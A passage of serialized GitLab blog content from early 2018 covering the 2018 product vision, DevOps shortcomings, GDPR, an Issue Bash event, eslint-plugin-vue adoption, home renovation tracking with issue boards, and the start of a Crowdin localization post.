application\nwith the problem, and sees that a recent deploy caused the problem.\nSimultaneously, a dev gets alerted that their recent deploy triggered a change\nin production, goes to the merge request and sees the performance change right\nthere. When Dev, Ops, and Security talk, they’re looking at the same data, but\nfrom their own point of view.\n\nNow the scope we’re going after is quite large, with a lot of new categories\nbeing introduced this year. I won’t go into all of these today, but instead I\nwant to focus on a couple flows that paint a picture of how this could look.\n\n\u003Cimg src=\"/images/blogimages/2018-product-vision/product-categories.png\" alt=\"Product categories\" style=\"width: 700px;\"/>{: .shadow}\u003Cbr/>\n*\u003Csmall>New product categories in 2018\u003C/small>*\n\n## Interactive prototype\n\nFor this, I’ll switch over to an [interactive\nprototype](https://framer.cloud/UaofH/index.html). *[Note: if you want to try it for yourself, click the header to\nmove to the next page, click the left sidebar to move back.]* While this may\nlook like a fully functioning instance of GitLab, it is just a demo and many of\nthese features have not been implemented yet.\n\n### Development flow\n\nI’ll start by showing a merge request.\n\n\u003Cimg src=\"/images/blogimages/2018-product-vision/development.png\" alt=\"Developer Flow\" style=\"width: 700px;\"/>{: .shadow}\u003Cbr/>\n*\u003Csmall>Developer Flow: Merge Request\u003C/small>*\n\nOne of the new elements we see is a “Test summary” which shows a deeper\nunderstanding of your test results. Using standard JUnit XML output, we can tell\nexactly which tests fail, and provide that information in a nice summary format.\n\nWe also see links to the binary artifacts and container images associated with\nthis merge request.\n\nAs I scroll down, we see a lot of information about the extensive collection of\ntests we’ve run on the code.\n\nFirst we see the code quality section, which we’ve had for a while.\n\nThen the relatively new Security section with static [application security\ntesting](/topics/devsecops/) to find vulnerabilities in your *code* or your code's dependencies,\ndynamic application security testing to find vulnerabilities while actually\n*running your app*, and an analysis of any vulnerabilities in any of your\nunderlying Docker layers.\n\nWe’ll also show how your application performance has changed.\n\nAnd lastly, we’ll check your dependencies for any violations of your company’s\nlicense policy.\n\nNow, this is a LOT to cover for every merge request, so we have separate issues\nto redesign for all this new information, but I wanted to show it all to you now\nto see how much we’re doing automatically for you.\n\nDown below all of that is an enhanced code diff that highlights any code you\nshould pay attention to because of code quality concerns or missing test\ncoverage.\n\n\u003Cimg src=\"/images/blogimages/2018-product-vision/code-coverage.png\" alt=\"code coverage\" style=\"width: 700px;\"/>{: .shadow}\u003Cbr/>\n*\u003Csmall>Code coverage and alerts\u003C/small>*\n\nThis is all part of the “shift left” movement, where important quality,\nsecurity, and performance tests that may have once been run manually, if at all,\nand usually much later in the development lifecycle, are now being run\nautomatically as soon as the first code is written.\n\nThere’s a lot more planned, but this is a good idea of the direction we’re going\nin to help Developers get their ideas into production faster.\n\n### Operations flow\n\nBut that only covers part of our vision, because there’s also\nthe Operations point of view. And a big milestone for our DevOps vision is when\nOperations start using GitLab as their primary interface.\n\n\u003Cimg src=\"/images/blogimages/2018-product-vision/operations-health.png\" alt=\"Operations health\" style=\"width: 700px;\"/>{: .shadow}\u003Cbr/>\n*\u003Csmall>Operations flow: operations health dashboard\u003C/small>*\n\nThere’s a long way to go, but here we’re answering the question, “How is\nproduction doing?” In this case we’re seeing a group with four projects in it, and\na quick green/yellow/red indicator of how those projects are doing. We’ve put a\ngraph of the Apdex score there to represent the one-metric-to-watch.\n\nBelow the projects is a view of the cluster, including CPU and memory usage,\npossibly indicating when you need to scale up or down the cluster size.\n\nNow, if there was an indication that something was wrong, you’d be able to drill\ndown and see more details and rectify the situation.\n\nBut that’s only the first-level understanding of operations. I mean, if we’ve\ngot the data about how things are doing, why not proactively alert you to the\nproblem? Well, that’s the second level, and a natural step. But we’re not going\nto stop there. The third level is to automatically detect *and resolve* any\nissues. If your app needs more resources, just autoscale it. If you then hit a\nlimit on the cluster, well, add a node to the cluster automatically. The\nOperations experience then should really just be that I go to work in the morning\nand see an email summary of what has happened, without me having to do anything.\n\nBut autoscaling is just scratching the surface, as Operations involves a lot\nmore, from application, infrastructure, and network monitoring, to security\npatches. After we’ve got this breadth as a structure, we look forward to the\ncustomer feature requests.\n\n### Security flow\n\nSo that covers Dev and Ops, but we’ve got a lot of security\nfeatures in the product now. How about treating Security folks as first-class\ncitizens and giving them their own Security Audit view?\n\n\u003Cimg src=\"/images/blogimages/2018-product-vision/security-audit.png\" alt=\"Security audit\" style=\"width: 700px;\"/>{: .shadow}\u003Cbr/>\n*\u003Csmall>Security flow: security audit\u003C/small>*\n\nThis is your one-stop-shop to see what security vulnerabilities have been\ndetected across the group, showing any automatic or manual actions taken to\naddress the vulnerabilities, and of course letting you click into details.\n\nIn the top left we’re reporting an overall success rate in hitting our own\ninternal SLAs for security vulnerabilities.\n\n### Full circle\n\nLet’s drill down on one of these vulnerabilities.\n\n\u003Cimg src=\"/images/blogimages/2018-product-vision/automatic-updates.png\" alt=\"Automatic updates\" style=\"width: 700px;\"/>{: .shadow}\u003Cbr/>\n*\u003Csmall>Automatic updates for security vulnerabilities\u003C/small>*\n\nWe see that the GitLab Bot automatically created a merge request to upgrade one\nof our dependencies because it noticed that a new version was released.\n\nSince the tests all pass, and of course the merge request fixed the\nvulnerability, the merge request was automatically merged by the Bot as well.\n\nBut, to bring it full circle, l’m showing here that after merging, the CI/CD\npipeline started deploying automatically to Production. I mean, why leave a\nknown, fixable security vulnerability live any longer than it needs to, right?\n\nBut, in this case, even though all tests passed, we still saw the error rate\njump to more than five percent, so we automatically stopped the rollout process, and\nactually rolled back to the last-known good version immediately.\n\nThen, the Bot detects this and automatically reverts the merge request so we can\nleave `master` in a good state.\n\nPhew.\n\n## Summary\n\nSo, wrapping it up:\n1. We’re going after the **complete DevOps** lifecycle,\n2. we want **Operations and Security** to be our new favorite users, and\n3. we want teams working **concurrently**.\n\nAnd that’s the GitLab Product Vision for 2018!\n",[676,754],{"slug":34046,"featured":6,"template":678},"gitlabs-2018-product-vision","content:en-us:blog:gitlabs-2018-product-vision.yml","Gitlabs 2018 Product Vision","en-us/blog/gitlabs-2018-product-vision.yml","en-us/blog/gitlabs-2018-product-vision",{"_path":34052,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34053,"content":34059,"config":34064,"_id":34066,"_type":16,"title":34067,"_source":17,"_file":34068,"_stem":34069,"_extension":20},"/en-us/blog/whats-wrong-with-devops",{"title":34054,"description":34055,"ogTitle":34054,"ogDescription":34055,"noIndex":6,"ogImage":34056,"ogUrl":34057,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34057,"schema":34058},"3 things that are wrong with DevOps today","Why are collaboration woes, shift-left waste, and tooling admin costs still plaguing DevOps?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680211/Blog/Hero%20Images/what-is-wrong-with-devops.jpg","https://about.gitlab.com/blog/whats-wrong-with-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 things that are wrong with DevOps today\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joel Krooswyk\"}],\n        \"datePublished\": \"2018-02-20\",\n      }",{"title":34054,"description":34055,"authors":34060,"heroImage":34056,"date":34061,"body":34062,"category":8943,"tags":34063},[6157],"2018-02-20","\n\nI’m continually impressed by the benefits achieved by modern ways of working. Lean processes, [Conversational Development](http://conversationaldevelopment.com/), and automation have helped us ship more value, faster. Those achievements have led customers to expect a lot more from their service providers. DevOps has been critical to those gains, but we’ve got more work to do – DevOps still has its problems.\n\n\u003C!-- more -->\n\nI have the privilege of talking with GitLab users every day. We celebrate impressive technical achievements, work through complex problems with CI/CD, or discuss new needs for their organization. The needs and problems seem to align themselves to one of three different areas:\n\n## 1. The wall still stands\n\nDev and Ops are still at war in some environments. In just the past couple of weeks I’ve heard the lack of collaboration between these groups called “the wall,” a “chasm,” and a “joke” by people in both areas! We’re simply not communicating well enough yet. We’re disappointed that after this much investment, there’s still so much room for improvement. Development and Operations continue to use different tools and to follow different rules.\n\n>It's like we're really doing DevSecBizPerfOps\n\nBut it doesn't end there. Now we've got more people in the mix analyzing concerns like security, performance, and business metrics. It's like we're really doing DevSecBizPerfOps or some such thing, and so our flow continues to be interrupted. Silos continue to exist, if not multiply. It also feels like Ops hasn’t gotten enough love, which is why GitLab is working toward better Operations views as part of our [product vision](/blog/devops-strategy/) for 2018.\n\n## 2. Administration costs are still too high\n\nAs we continue to [shift left with build, test, and security](/solutions/security-compliance/), admin costs continue to rise. Developers are often being empowered at the cost of their own productivity. Administration efforts can actually consume [half a developer’s time](https://www.infoworld.com/article/2613762/application-development/software-engineers-spend-lots-of-time-not-building-software.html) each week! Unfortunately, this is a growing form of waste. A core DevOps goal is to reduce administration time, but the admin costs of DevOps tools can be some of the highest in the software development lifecycle ecosystem due to extensive plug-in architectures, support of quickly evolving environments, and asynchronous vendor update woes. We continually increase complexity and add requirements to existing stacks without looking for more modern solutions. Despite all the loss of time, I still hear commonly that there's no way to visualize the flow of the code from requirement to production, especially once code is committed to a repository.\n\nThe good news is that more of us are taking the time to re-examine our ecosystems because they've become bloated with a wide variety of tools from a wide variety of vendors for very specific purposes. I wouldn't consider the current trend to be a tooling consolidation so much as a streamlining or simplification of toolsets. Questions I hear most often tend to focus on optimizing our efficiency and reliability while minimizing administration of laborious plug-in and trigger-driven architectures. We're trending in the right direction.\n\n## 3. We're holding onto the past\n\nWe’ve spent and continue to spend billions on software tools annually. Tooling can be extremely costly! Sometimes we’ve invested so much money in old tooling that we simply can’t let it go. Too often we hold onto tools and processes just because we spent a lot of time and money on them while newer, time-saving products are available for less than the cost of the renewal of the old beasts. And so we hold onto the past as we try to implement new technologies. It’s no surprise that shoving new technology into old tools can generate enormous friction and unique problems.\n\n>It’s no surprise that shoving new technology into old tools can generate enormous friction and unique problems.\n\nPerhaps we bought best-in-breed tools. Those products commonly require excessive coding efforts to integrate and maintain because \"best in breed\" typically means we bought from a number of vendors. Interconnectivity of those tools typically doesn’t come out of the box. And of course, once the API is mentioned as a solution, the admin and maintenance burden increases once again. We spend a lot of money on specific solutions but inevitably end up with holes in our end-to-end process, too often as it relates to security or performance.\n\nBut this way of looking at tooling is beginning to change! I'm hearing more frequently that dramatic price increases, as well as the outsourcing of product maintenance and support, are triggering enterprises to reconsider the past. When we've invested all that time and money into a product, but that product then gets sold to three different parent companies within a decade, our ROI calculations lose their luster. Outsourcings and vendor-level product sales are being viewed as indicators of a potentially declining market. Enterprises are using that as a trigger to seek out updated tools for the years ahead, reducing cost and enabling modern workflows.\n\n## It all impacts delivery efficiency\n\nNo matter whether we’re talking about disappointment in collaboration, shift-left waste, or tooling admin costs, it comes down to this: it all negatively impacts our ability to deliver securely with speed and efficiency. If we truly want to meet and exceed the expectations of our customers, we’ll need to continually hone and improve our DevOps processes and tools to reflect modern ways of working.\n\n[Photo](https://unsplash.com/photos/suaBxarUnyo?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Caleb George on [Unsplash](https://unsplash.com/search/photos/wall?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,1444,2368],{"slug":34065,"featured":6,"template":678},"whats-wrong-with-devops","content:en-us:blog:whats-wrong-with-devops.yml","Whats Wrong With Devops","en-us/blog/whats-wrong-with-devops.yml","en-us/blog/whats-wrong-with-devops",{"_path":34071,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34072,"content":34078,"config":34083,"_id":34085,"_type":16,"title":34086,"_source":17,"_file":34087,"_stem":34088,"_extension":20},"/en-us/blog/european-general-data-protection-regulation-law",{"title":34073,"description":34074,"ogTitle":34073,"ogDescription":34074,"noIndex":6,"ogImage":34075,"ogUrl":34076,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34076,"schema":34077},"If you do business in Europe, you need to know about GDPR","You may be affected by European Union’s General Data Protection Regulation – here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680218/Blog/Hero%20Images/gdpr-european-parliament.jpg","https://about.gitlab.com/blog/european-general-data-protection-regulation-law","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"If you do business in Europe, you need to know about GDPR\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-02-16\",\n      }",{"title":34073,"description":34074,"authors":34079,"heroImage":34075,"date":34080,"body":34081,"category":299,"tags":34082},[29394],"2018-02-16","\n\nAn explainer on the European Union’s General Data Protection Regulation, which is set to take effect in May 2018.\n\n\u003C!-- more -->\n\nIf your company does business involving the personal data of EU residents through the offering of services and goods or otherwise, there's a good chance that your firm may need to be compliant with the European Union’s General Data Protection Regulation (GDPR).\n\nThe law will go into effect on May 25 and replaces the EU’s 1995 Data Protection Directive. It’s meant to give EU residents more control over their personal data, specifically in how it is collected, controlled, and processed. As a result, companies that control and/or process the personal information of EU residents for their own company’s purposes, or on behalf of another business, will be required to adhere to GDPR standards.\n\n## FAQs\n\n### What counts as personal data?\n\n Personal data includes a vast range of information including social security numbers, gender, location, ethnicity, online identifiers, and genetic or biometric markers, such as fingerprints and facial recognition.\n\n### What are data controllers?\n\nControllers are a company or organization that determines the purpose for and manner in which personal data is processed.\n\nControllers can also be processors.\n\n### What are data processors?\n\nData processors take the information controllers have accumulated and process the personal information.\n\n### What do companies need to do to be compliant?\n\n- Have a legal basis for data collection and processing\n- Be transparent about how the data is collected and used\n- Provide prompt notification of security breaches\n- Put data protection safeguards in place early in the development process and as the default setting in their products and services\n\nIt is recommended that companies conduct data discovery activities like data mapping and a gap analysis in order to get a true handle on the amount and nature of the personal data they control and process. A recent report from Forrester warned against approaching GDPR readiness from a fragmented framework that relies heavily on IT for specific compliance requirements – like focusing on data breach notifications, stating that such tactics are “short-sighted, and most likely will need radical revision after the enforcement of GDPR rules start in May.”\n\nFailure to comply with the GDPR requirements could result in serious penalties, with the worst case scenario being a fine of €20 million or 4 percent of the company’s previous year’s total global revenue, whichever is greater.\n\nFor a more detailed look at the law and how organizations can ensure they’re compliant, check out [GitLab’s GDPR page](/privacy/privacy-compliance/).\n\nCover image licensed under [CC0 1.0](https://creativecommons.org/publicdomain/zero/1.0/deed.en)\n{: .note}\n",[736],{"slug":34084,"featured":6,"template":678},"european-general-data-protection-regulation-law","content:en-us:blog:european-general-data-protection-regulation-law.yml","European General Data Protection Regulation Law","en-us/blog/european-general-data-protection-regulation-law.yml","en-us/blog/european-general-data-protection-regulation-law",{"_path":34090,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34091,"content":34096,"config":34101,"_id":34103,"_type":16,"title":34104,"_source":17,"_file":34105,"_stem":34106,"_extension":20},"/en-us/blog/gitlab-issue-bash-march-2018",{"title":34092,"description":34093,"ogTitle":34092,"ogDescription":34093,"noIndex":6,"ogImage":33487,"ogUrl":34094,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34094,"schema":34095},"Join GitLab's March 2018 Issue Bash","Help us to squash some of the open issues in the GitLab Community Edition tracker!","https://about.gitlab.com/blog/gitlab-issue-bash-march-2018","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join GitLab's March 2018 Issue Bash\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Fletcher\"}],\n        \"datePublished\": \"2018-02-15\",\n      }",{"title":34092,"description":34093,"authors":34097,"heroImage":33487,"date":34098,"body":34099,"category":299,"tags":34100},[33492],"2018-02-15","\n\nThis March we'll be holding another of our quarterly issue bashes to allow the community to get involved in helping to squash some issues in the GitLab Community Edition issue tracker. We have over 1,900\n[GitLab contributors](http://contributors.gitlab.com/),\nand we are always looking for more people to join in and contribute to the project in any way that they can.\n\n\u003C!-- more -->\n\nOf course, some lucky contributors will be rewarded with awesome swag! 🙌\n\nWe now have [the issue bash landing page](/community/issue-bash/) with all the information about how exactly the Issue Bash works. Please take a look there and provide any feedback to our [feedback project](https://gitlab.com/gitlab-org/issue-bash/feedback) or propose changes directly [here](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/source/community/issue-bash/index.html.haml)!\n\n## When is it going to happen?\n\nWe'll kick it off at 00:01 UTC on Saturday, **March 3rd**\nand will keep it up until 23:59 UTC on Sunday, **March 4th**.\n\n## Who can contribute?\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;\n**At GitLab, everyone can contribute!**\n&nbsp;&nbsp;\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nThis is your chance to get involved! Most of the tasks don't require\ntechnical expertise, therefore, non-technical community\nmembers are definitely welcome and prize worthy!\n\n## How do you get involved?\n\nPlease see [the FAQ on the Issue Bash landing page](/community/issue-bash/#bash-q-a) to learn more about how to get involved.\n\n## Prizes\n\nAs prizes, we have some awesome swag available:\n\n- 14 T-shirts\n- 1 T-shirt and Hoodie for a lucky contributor\n\nUsers making any contributions to the project,\nbetween the start and end times of the event, will be entered into the random draw\nto win a prize. The contributions will be collated after the end of the event and\nprize winners, drawn at random, will be contacted in the weeks that follow.\n\nTo see how we draw winners at random please take a look at the [prize winner calculator project](https://gitlab.com/gitlab-org/issue-bash/prize-winner-calculator)\n\n## Questions? More info?\n\n[GitLab team](/company/team/) and [GitLab core team](/community/core-team/) members will be on hand to answer questions and close issues. Please mention them if you need any help or need attention on an issue\n\n* [@markglenfletcher](https://gitlab.com/markglenfletcher)\n* [@tnir](https://gitlab.com/tnir)\n",[267,277,815],{"slug":34102,"featured":6,"template":678},"gitlab-issue-bash-march-2018","content:en-us:blog:gitlab-issue-bash-march-2018.yml","Gitlab Issue Bash March 2018","en-us/blog/gitlab-issue-bash-march-2018.yml","en-us/blog/gitlab-issue-bash-march-2018",{"_path":34108,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34109,"content":34115,"config":34121,"_id":34123,"_type":16,"title":34124,"_source":17,"_file":34125,"_stem":34126,"_extension":20},"/en-us/blog/how-we-added-eslint-into-vue",{"title":34110,"description":34111,"ogTitle":34110,"ogDescription":34111,"noIndex":6,"ogImage":34112,"ogUrl":34113,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34113,"schema":34114},"How eslint-plugin-vue improved our code reviews","A few months ago we felt the need to build a style guide for Vue and now are using eslint-vue-plugin, which is saving us time in our code reviews.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680227/Blog/Hero%20Images/code_cover_image.jpg","https://about.gitlab.com/blog/how-we-added-eslint-into-vue","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How eslint-plugin-vue improved our code reviews\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Filipa Lacerda\"}],\n        \"datePublished\": \"2018-02-13\",\n      }",{"title":34110,"description":34111,"authors":34116,"heroImage":34112,"date":34118,"body":34119,"category":734,"tags":34120},[34117],"Filipa Lacerda","2018-02-13","\n\nWe've (finally) integrated [eslint-plugin-vue](https://github.com/vuejs/eslint-plugin-vue) successfully into our codebase!\n\n\u003C!-- more -->\n\nWhen we [added Vue](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5845) to our codebase back in April 2016, [eslint-plugin-vue](https://github.com/vuejs/eslint-plugin-vue) did not yet [exist](https://github.com/vuejs/eslint-plugin-vue/commit/6a3a6db540e823b51af1e02950896ac9c2b49219) and we had not yet started using [eslint](https://eslint.org/) at all.\n\nOne of the things I love the most about GitLab being an open source tool is that anyone can contribute! [Winnie Hellmann](https://gitlab.com/winh), who has since joined the team, did this amazing work [adding eslint](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5445) as a community contribution. Thanks Winnie! 🙇‍\n\n## The start of a style guide\n\nAs our Vue codebase grew from a few features to quite a large usage ([issue boards](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5554), [environments](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/8954), [cycle analytics](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/7366), [pipelines](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/10878)) we noticed that each of our Vue apps followed a different style. At that time we felt the need to [document how to architecture a Vue application](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/8866) to ensure a consistent codebase. Once we defined and documented how to use the component system and Flux architecture [with our codebase](https://docs.gitlab.com/ee/development/fe_guide/vue.html#vue-architecture), we noticed that our Vue code also differed in very small things, such as indentation or the order we declared the methods. These inconsistencies, although small, increased the complexity of the review process and for maintaining a healthy codebase.\n\nWith the goal of decreasing the time we spent reviewing Vue code and debating on each of these aspects, and because at the time there wasn't an official Vue style guide, [we started our own](https://gitlab.com/gitlab-org/gitlab-ce/commit/8c3bdc853a5237a3bef6e26fcf22132db7e8bd9c)! You can check out our documentation [here](https://docs.gitlab.com/e e/development/fe_guide/style_guide_js.html#vue-js). As the Vue community grew, the need for an official style guide and for an eslint plugin for Vue grew with it. Thanks to the wonderful team [Michał Sajnóg](https://github.com/michalsnik), [Toru Nagashima](https://github.com/mysticatea), [Armano](https://github.com/armano2) and [Chris Fritz](https://github.com/chrisvfritz) leading the development of such a tool, we are now able to use it in production! And we even got to act as source of [inspiration for the official one](https://github.com/vuejs/eslint-plugin-vue/issues/77#issuecomment-315834845) ❤\n\n## Adding eslint-vue-plugin\n\nAfter [waiting a couple of months](https://gitlab.com/gitlab-org/gitlab-ce/issues/34312) for a stable version of [eslint-plugin-vue](https://github.com/vuejs/eslint-plugin-vue), we finally gave it a try once version [4.0.0](https://github.com/vuejs/eslint-plugin-vue/releases/tag/v4.0.0) was released.\n\n![EE Conflicts](https://about.gitlab.com/images/eslint-vue-plugin/eslint-conflicts-team-help.png \"EE Conflicts\"){: .shadow}\n\n*\u003Csmall>Frontend team working together to resolve all the vue eslint problems\u003C/small>*\n\nIt took a couple of days to fix all the problems eslint identified in our code, but we were able to successfully add it and thanks to a huge team effort, the second row of conflicts was solved very quickly. Thanks again Luke, Eric, Kushal and José!\n\nNow our review process is even faster, we don't have to manually check for the style guide rules anymore! 🎉\n\n[Cover image](https://pixabay.com/en/computer-computer-code-screen-1209641/) by [Free-Photos](https://pixabay.com/en/users/Free-Photos-242387/) is licensed under [CC0 1.0](https://creativecommons.org/publicdomain/zero/1.0/)\n{: .note}\n",[676,11037],{"slug":34122,"featured":6,"template":678},"how-we-added-eslint-into-vue","content:en-us:blog:how-we-added-eslint-into-vue.yml","How We Added Eslint Into Vue","en-us/blog/how-we-added-eslint-into-vue.yml","en-us/blog/how-we-added-eslint-into-vue",{"_path":34128,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34129,"content":34134,"config":34139,"_id":34141,"_type":16,"title":34142,"_source":17,"_file":34143,"_stem":34144,"_extension":20},"/en-us/blog/using-gitlab-to-manage-house-renovation-priorities",{"title":34130,"description":34131,"ogTitle":34130,"ogDescription":34131,"noIndex":6,"ogImage":10216,"ogUrl":34132,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34132,"schema":34133},"Using GitLab to project manage home renovation priorities","Solutions Architect Brendan O'Leary shares how he and his family use GitLab Issue Boards for an unconventional purpose: home improvement prioritization!","https://about.gitlab.com/blog/using-gitlab-to-manage-house-renovation-priorities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using GitLab to project manage home renovation priorities\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2018-02-08\",\n      }",{"title":34130,"description":34131,"authors":34135,"heroImage":10216,"date":34136,"body":34137,"category":299,"tags":34138},[11790],"2018-02-08","\n\nLast summer my wife and I bought a new house for our ever-growing family. Before we moved in, we had a couple of improvements made – wood floors to replace the aging carpet in the master bedroom, some required structural fixes. However, when we bought the house, we knew there would be a lot more we wanted to do over the years. When it came to organizing those ideas into things that need to happen sooner rather than later and those that could wait, however, we found ourselves struggling to keep all of the plans in order.\n\n\u003C!-- more -->\n\n## Trying to get organized\n\nI've been able to complete a few other projects since we moved in – but most were small in scale. A built-in shelf wall for my wife's office, painting and staining the new deck, and of course a DIY standing desk to use in my new office kitchen (which is also the house's kitchen... [working from home for the win!](/company/culture/all-remote/)). These projects were great, but we needed a way to organize and prioritize larger renovation projects.\n\n![Home improvement examples](https://about.gitlab.com/images/blogimages/home-improvement-examples.png){: .shadow}\n\n*\u003Csmall>Clockwise, from left: built-in shelf wall, painted and stained deck, DIY standing desk\u003C/small>*\n\nI was a GitLab user for years before I even became a GitLab team-member. I've always hosted my side-project code in GitLab.com since GitLab offers [unlimited private repositories](/pricing/#gitlab-com) for free. For project management in my \"day job\" I've used dozens of other tools outside of GitLab, so when I joined it was the first time I saw the full breadth of what GitLab offers in issue management.\n\nIn thinking about the other tools I've used in the past, they didn't seem to meet the full bar of what I was looking for to solve our problem. As a mother of four young children, my wife is always on the go... but I'm on a computer all day long. So we needed something that worked seamlessly between platforms. We also needed to be able to easily re-arrange and re-prioritize items. Also, I fancy myself a bit of a DIY-er, so I wanted to be able to label some items as at least *possible* for me to maybe complete myself. All of these requirements had me wondering what tool would be best for my wife and me to collaborate on.\n\n## Enter GitLab Issue Boards\n\nWith these requirements, and my newfound GitLab knowledge, I was able to come up with a novel solution to the problem we were having: why not use a [GitLab Issue Board](/stages-devops-lifecycle/issueboard/) to manage our ever-changing home renovation priorities?\n\nWith Issue Boards, we would have a fantastic solution for mobile and desktop (shout out to the [GitLab UX team](https://docs.gitlab.com/ee/development/ux_guide/)!). With [labels](https://docs.gitlab.com/ee/user/project/labels.html), I could organize and group issues however we wanted. And the customizable columns would allow us to prioritize, track and manage the various issues and ideas.\n\n## How the board works\n\nTo start, I [created a new group on GitLab.com](https://gitlab.com/groups/new) to house (pun intended) everything for our family. I made a project in that group called `priorities` to be the central place to collect all the renovation ideas we had. In the future, I may have a project for a specific renovation, managing purchases, and contractors, etc.\n\nAs with every GitLab project, issues and issue boards were baked right in. I started adding issues right away – beginning with those that were at the top of mind, like the water heater that is at the end of its usable life, repairs to our front entryway, and window replacement.  My wife didn't have a GitLab.com account yet, but it was easy to add her to the project as a member just by putting her email address in on the member's page, allowing her to sign up and get access to the project in one step.\n\n![Invite member by e-mail](https://about.gitlab.com/images/blogimages/invite-member-by-email.png){: .shadow}\n\nTo get organized, I created a few labels: `P1` for top priority items, `DIY Possibility` for those I might be able to tackle on my own, and `Furniture` for those that involved furnishing various rooms. The labels will help filter issues so that if I find a free weekend, I can search for `DIY Possibility` issues to maybe get started on. Or if we go to a furniture store, we could filter to those issues to get an idea of cost while we are there.\n\nFor the board columns, I decided to use `P1` as the first column after Backlog to highlight those issues. From there, it's a matter of agreeing on an organization of priority 😃\n\n![Home improvement issue board](https://about.gitlab.com/images/blogimages/home-improvement-issue-board.png){: .shadow}\n\n## Where to go next\n\nNow it's time to execute! One thing we didn't account for in the first iteration was the scope of issues. Some things were relatively minor regarding time and investment. Others (like replacing all 27 windows!) are larger projects for which we need to budget. For this, we will be using [issue weight](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) to understand how different projects align with budget and time investment to pull off.\n\nIt's been an exciting experience using GitLab Issue Boards for something outside of the development space. We'd love to hear from you too about \"non-standard\" uses for GitLab's features. Feel free to comment on this post or tweet us [@GitLab](https://twitter.com/gitlab).\n\n*Cover photo by [George Pastushok](https://unsplash.com/photos/d0yNnTEjEWY?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)*\n{: .note}\n",[676,4772],{"slug":34140,"featured":6,"template":678},"using-gitlab-to-manage-house-renovation-priorities","content:en-us:blog:using-gitlab-to-manage-house-renovation-priorities.yml","Using Gitlab To Manage House Renovation Priorities","en-us/blog/using-gitlab-to-manage-house-renovation-priorities.yml","en-us/blog/using-gitlab-to-manage-house-renovation-priorities",{"_path":34146,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34147,"content":34153,"config":34159,"_id":34161,"_type":16,"title":34162,"_source":17,"_file":34163,"_stem":34164,"_extension":20},"/en-us/blog/crowdin-localization-for-agile-projects",{"title":34148,"description":34149,"ogTitle":34148,"ogDescription":34149,"noIndex":6,"ogImage":34150,"ogUrl":34151,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34151,"schema":34152},"Automate your localization with GitLab + Crowdin","Complete your development workflow by integrating GitLab with Crowdin to help your product speak the same language as the people it’s built for.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680247/Blog/Hero%20Images/gitlab-crowdin-cover.png","https://about.gitlab.com/blog/crowdin-localization-for-agile-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automate your localization with GitLab + Crowdin\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Khrystyna Humenna\"}],\n        \"datePublished\": \"2018-02-06\",\n      }",{"title":34148,"description":34149,"authors":34154,"heroImage":34150,"date":34156,"body":34157,"category":734,"tags":34158},[34155],"Khrystyna Humenna","2018-02-06","\n\nWhen developing products like web apps, games, and alike, you have to face the fact that you enter the international market the moment your product is first mentioned on the web. Once you decide to promote your product internationally and expand its reach, you should add localization to your workflow. Crowdin's integration with GitLab means you can seamlessly automate your localization process.\n\n\u003C!-- more -->\n\nA developer needs roughly 15 minutes to add some new texts. If a product is to be translated into, let’s say, 10 languages, the deployment is delayed for at least a week, as after the code is built, translators need time to make the translations. If several developers work on the product updates simultaneously, translations for those would delay each deployment even more. In this scenario, any team is quite unlikely to stay Agile.\n\n## Do localization in an Agile way with the GitLab + Crowdin integration\n\nTo be able to constantly ship minimum viable changes, localization should be a part of the development process. Crowdin is a localization management platform that completes your workflow by synchronizing translatable and translated files between your GitLab repository and your Crowdin localization project. This way multiple translators and developers can work simultaneously to deliver great results in less time.\n\n### Integrate Crowdin with your 